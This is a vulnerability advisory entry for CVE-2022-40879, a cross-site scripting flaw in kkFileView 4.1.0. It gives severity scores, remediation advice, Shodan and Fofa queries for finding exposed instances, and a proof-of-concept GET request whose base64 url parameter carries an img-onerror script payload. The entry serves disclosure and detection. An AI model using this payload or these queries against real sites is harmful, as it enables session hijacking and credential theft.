| Title | kkFileView 4.1.0 - Cross-Site Scripting |
|---|---|
| Author | arafatansari,co5mos |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information. |
| Remediation | Upgrade to a patched version of kkFileView or apply the necessary security patches to mitigate the XSS vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.19015 |
| CVE ID | CVE-2022-40879 |
| CWE ID | CWE-79 |
| Shodan Query | http.html:"kkFileView"http.html:"kkfileview" |
| Fofa Query | body="kkfileview"app="kkfileview" |
| Tags | cve cve2022 kkFileView xss keking vuln |
kkFileView 4.1.0 contains multiple cross-site scripting vulnerabilities via the errorMsg parameter. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
GET /onlinePreview?url=aHR0cHM6Ly93d3cuZ29vZ2xlLjxpbWcgc3JjPTEgb25lcnJvcj1hbGVydChkb2N1bWVudC5kb21haW4pPj1QUQ== HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:70.0) Gecko/20100101 Firefox/70.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-40879.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-40879.pcap
N/AN/A